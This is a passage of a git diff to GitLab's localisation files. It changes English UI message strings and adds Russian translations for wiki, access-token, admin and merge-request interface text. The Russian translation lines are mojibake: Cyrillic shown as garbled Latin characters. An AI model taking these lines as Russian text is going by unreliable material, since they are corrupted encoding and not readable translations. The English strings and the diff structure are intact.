+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36181,9 +35989,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36271,6 +36076,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36289,9 +36097,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36325,6 +36130,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36394,7 +36202,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36535,7 +36346,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36667,6 +36478,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36967,6 +36781,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36976,6 +36799,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37177,7 +37003,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37198,6 +37024,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37213,16 +37042,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37237,10 +37066,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37510,6 +37345,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37549,9 +37387,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37729,21 +37564,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37807,9 +37639,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37969,12 +37798,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38002,18 +37825,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38026,12 +37843,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38101,12 +37912,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38191,6 +38008,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38200,6 +38020,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38293,6 +38116,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38350,12 +38176,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38380,6 +38215,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38398,9 +38236,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38704,6 +38539,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38791,6 +38629,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38872,9 +38713,6 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39262,6 +39100,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39298,9 +39139,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39361,7 +39199,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39442,7 +39280,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39505,6 +39346,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39793,6 +39637,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39895,6 +39742,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/ru/gitlab.po b/locale/ru/gitlab.po
index 417a7508232..a84fbb80e3b 100644
--- a/locale/ru/gitlab.po
+++ b/locale/ru/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: ru\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:46\n"
+"PO-Revision-Date: 2021-07-01 21:32\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr " %{start} по %{end}"
@@ -93,6 +90,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr "Параметр \"el\" необходим Ð´Ð»Ñ createInstance()"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -238,10 +238,10 @@ msgstr[3] "%d дней"
msgid "%d epic"
msgid_plural "%d epics"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d цель"
+msgstr[1] "%d цели"
+msgstr[2] "%d целей"
+msgstr[3] "%d целей"
msgid "%d error"
msgid_plural "%d errors"
@@ -341,13 +341,6 @@ msgstr[1] "%d обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ ÑƒÑпешно импортированы Ñ
msgstr[2] "%d обÑуждений уÑпешно импортированы Ñ Ð¼ÐµÑ‚ÐºÐ¾Ð¹"
msgstr[3] "%d обÑуждений уÑпешно импортированы Ñ Ð¼ÐµÑ‚ÐºÐ¾Ð¹"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d Ñлой"
@@ -504,10 +497,10 @@ msgstr[3] "%d уÑзвимоÑтей отклонено"
msgid "%d vulnerability updated"
msgid_plural "%d vulnerabilities updated"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d уÑзвимоÑÑ‚ÑŒ обновлена"
+msgstr[1] "%d уÑзвимоÑти обновлено"
+msgstr[2] "%d уÑзвимоÑтей обновлено"
+msgstr[3] "%d уÑзвимоÑтей обновлено"
msgid "%d warning found:"
msgid_plural "%d warnings found:"
@@ -547,6 +540,30 @@ msgstr "тема %{authorsName}"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -594,6 +611,13 @@ msgstr "%{count} ÑоглаÑований от %{name}"
msgid "%{count} files touched"
msgstr "затронуто %{count} файлов"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -788,17 +812,17 @@ msgstr "%{level_name} не допуÑкаетÑÑ Ð² %{group_level_name} груÐ
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "%{level_name} запрещено, Ñ‚.к. проект-иÑточник Ð¾Ñ‚Ð²ÐµÑ‚Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼ÐµÐµÑ‚ более узкую облаÑÑ‚ÑŒ видимоÑти."
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}Узнайте больше%{link_end} о том, ÐºÐ°ÐºÐ°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¿ÐµÑ€ÐµÐ´Ð°ÐµÑ‚ÑÑ GitLab Inc."
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}Подробнее%{link_end} о ролевом доÑтупе"
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
-msgstr ""
+msgstr "%{link_start}Удалите Ð¿Ñ€ÐµÑ„Ð¸ÐºÑ %{draft_snippet}%{link_end} из заголовка, чтобы позволить Ñтому запроÑу на ÑлиÑние выполнитьÑÑ Ð¿Ñ€Ð¸ готовноÑти."
msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr ""
+msgstr "%{link_start}Ðачните заголовок Ñ %{draft_snippet}%{link_end} чтобы предотвратить выполнение запроÑа на ÑлиÑние, который находитÑÑ Ð² процеÑÑе обработки."
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow}, и еще %{awardsListLength}."
@@ -834,10 +858,10 @@ msgid "%{mrText}, this issue will be closed automatically."
msgstr "%{mrText}, Ñто обÑуждение будет закрыто автоматичеÑки."
msgid "%{name_with_link} has %{percent} or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "У %{name_with_link} оÑталоÑÑŒ %{percent} или меньше минут Shared Runner Pipeline. Когда минуты закончатÑÑ, новые Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸ Ñборочные линии её проектов переÑтанут запуÑкатьÑÑ."
msgid "%{name_with_link} has run out of Shared Runner Pipeline minutes so no new jobs or pipelines in its projects will run."
-msgstr ""
+msgstr "У %{name_with_link} закончилиÑÑŒ минуты Shared Runner Pipeline, поÑтому новые Ð·Ð°Ð´Ð°Ð½Ð¸Ñ Ð¸Ð»Ð¸ Ñборочные линии её проектов запуÑкатьÑÑ Ð½Ðµ будут."
msgid "%{name} %{status}"
msgstr ""
@@ -963,6 +987,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr "%{size} %{unit}"
@@ -996,9 +1023,6 @@ msgstr "%{start} по %{end}"
msgid "%{state} epics"
msgstr "%{state} цели"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr "%{strongStart}УдалÑет%{strongEnd} иÑходную ветку"
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1115,12 +1139,6 @@ msgstr "приоритет открытого обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ %{total}"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Узнайте больше%{usage_ping_link_end} о том, ÐºÐ°ÐºÐ°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¿ÐµÑ€ÐµÐ´Ð°ÐµÑ‚ÑÑ GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName}(не может выполнÑÑ‚ÑŒ ÑлиÑние)"
@@ -1151,6 +1169,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr "%{value} Ñ"
@@ -1583,7 +1604,7 @@ msgid "A Let's Encrypt account will be configured for this GitLab installation u
msgstr "Ð£Ñ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ Let's Encrypt будет наÑтроена Ð´Ð»Ñ Ð´Ð°Ð½Ð½Ð¾Ð¹ уÑтановки GitLab Ñ Ð¸Ñпользованием адреÑа вашей Ñлектронной почты. Ð’Ñ‹ получите Ñлектронное пиÑьмо Ñ Ð¿Ñ€ÐµÐ´ÑƒÐ¿Ñ€ÐµÐ¶Ð´ÐµÐ½Ð¸ÐµÐ¼ об иÑтечении Ñрока дейÑÑ‚Ð²Ð¸Ñ Ñертификатов."
msgid "A banned user cannot:"
-msgstr ""
+msgstr "Забаненный пользователь не может:"
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr "ОÑÐ½Ð¾Ð²Ð½Ð°Ñ Ñтраница и беÑÑÐµÑ€Ð²ÐµÑ€Ð½Ð°Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ, иÑпользующие AWS Lambda, AWS API Gateway, и GitLab Pages"
@@ -1690,9 +1711,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "Токен безопаÑноÑти, который идентифицирует Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð½ÐµÑˆÐ½ÐµÐ³Ð¾ хранилища."
@@ -1751,20 +1769,11 @@ msgid "APIFuzzing|Choose a profile"
msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
+msgstr "Ðе удалоÑÑŒ Ñоздать Ñниппет. Попробуйте позже."
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1787,7 +1796,7 @@ msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder
msgstr ""
msgid "APIFuzzing|Generate code snippet"
-msgstr ""
+msgstr "Создать Ñниппет"
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
@@ -1805,7 +1814,7 @@ msgid "APIFuzzing|Scan profile"
msgstr ""
msgid "APIFuzzing|Show code snippet for the profile"
-msgstr ""
+msgstr "Показать Ñниппет Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ„Ð¸Ð»Ñ"
msgid "APIFuzzing|Target URL"
msgstr ""
@@ -1969,14 +1978,14 @@ msgstr "Токен входÑщей Ñлектронной почты"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "Его Ð½ÐµÐ»ÑŒÐ·Ñ Ð¸Ñпользовать Ð´Ð»Ñ Ð´Ð¾Ñтупа к любым другим данным."
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "Держите Ñтот токен в Ñекрете. Любой, кто получит его, может Ñоздать обÑуждениÑ, как будто бы Ñто были вы. ЕÑли Ñто когда-либо произойдет, то вам Ñледует %{reset_link_start} ÑброÑить его %{reset_link_end}."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Держите Ñтот токен в Ñекрете. Любой, кто получит его, может Ñоздать обÑуждениÑ, как будто бы Ñто были вы. ЕÑли Ñто когда-либо произойдет, то вам Ñледует %{link_reset_it}."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "Держите Ñтот токен в Ñекрете. Любой кто завладеет им Ñможет читать RSS - ленты активноÑти и задач или ваш календарь, так же как вы. ЕÑли Ñто когда-нибудь произойдет, то вы должны %{link_reset_it}."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "Личные токены доÑтупа"
@@ -1993,17 +2002,17 @@ msgstr "Ð’Ñ‹ также можете иÑпользовать перÑональ
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "Ð’Ñ‹ можете Ñгенерировать личный токен доÑтупа Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ иÑпользуемого вами приложениÑ, которому необходим доÑтуп к GitLab API."
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "Когда ваш RSS-reader загружает перÑональную RSS ленту или когда приложение ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð·Ð°Ð³Ñ€ÑƒÐ¶Ð°ÐµÑ‚ перÑональный календарь, ваш токен канала иÑпользуетÑÑ Ð´Ð»Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸ и включен в URL-адреÑа ленты."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "Токен входÑщей Ñлектронной почты иÑпользуетÑÑ Ð´Ð»Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸ при Ñоздании нового обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð¿Ð¾ÑредÑтвом Ñлектронной почты и включаетÑÑ Ð² перÑональные Ñлектронные адреÑа, Ñпецифичные Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ из проектов."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "Ваш токен ÑтатичеÑких объектов иÑпользуетÑÑ Ð´Ð»Ñ Ð°ÑƒÑ‚ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ†Ð¸Ð¸ при обÑлуживании ÑтатичеÑких объектов (например, архивов, бинарных данных, ...) из внешнего хранилища."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "ÑброÑить"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -2122,6 +2131,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "Добавить общий комментарий Ð´Ð»Ñ Ñтого %{noteableDisplayName}."
@@ -2131,6 +2143,9 @@ msgstr "Добавить общий комментарий к Ñтому %{notea
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "Добавьте домашнюю Ñтраницу в Ñвою Wiki, в которой ÑодержитÑÑ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ вашем проекте, и GitLab отобразит ее здеÑÑŒ вмеÑто Ñтого ÑообщениÑ."
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2194,6 +2209,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2320,6 +2338,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "Пользователь не задан."
@@ -2554,9 +2575,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "ИÑпользовать общие Runner'Ñ‹ в новых проектах"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "Переменные Ð¾ÐºÑ€ÑƒÐ¶ÐµÐ½Ð¸Ñ Ð·Ð°Ñ‰Ð¸Ñ‰ÐµÐ½Ñ‹ по умолчанию"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2569,20 +2587,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "Ðе требуетÑÑ ÑÐ±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "Ð¢Ñ€ÐµÐ±ÑƒÐµÐ¼Ð°Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ñборочной линии"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "Выберите файл конфигурации Ñборочной линии"
-
-msgid "AdminSettings|Select a template"
-msgstr "Выберите шаблон"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2593,8 +2614,8 @@ msgstr ""
